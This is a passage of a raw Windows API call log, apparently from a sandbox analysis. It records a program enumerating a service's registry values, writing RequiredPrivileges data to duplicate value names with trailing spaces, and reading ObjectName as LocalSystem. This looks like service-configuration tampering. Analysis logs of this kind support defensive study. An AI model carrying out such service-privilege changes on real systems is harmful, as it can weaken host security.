lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0223.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0223.668] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.668] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0223.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0223.669] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0223.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0223.669] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0223.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0223.669] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.669] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0223.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0223.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0223.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0223.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0223.670] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0223.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0223.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.672] RegQueryValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0223.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.672] RegQueryValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0223.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0223.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.672] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0223.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0223.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0223.673] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0223.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0223.673] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0223.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0223.673] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0223.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0223.673] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0223.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0223.673] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0223.674] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.674] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0223.674] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0223.674] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0223.674] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.674] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0223.674] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0223.674] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0223.674] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.674] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0223.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0223.675] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0223.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0223.675] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4730) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46e8) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4658) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d358) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4610) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d488) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f45c8) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4580) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4538) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44f0) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0223.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44a8) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157010) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157020) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0223.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0223.676] RegQueryValueExA (in: hKey=0x148, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0223.676] RegQueryValueExA (in: hKey=0x148, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4808, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0223.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 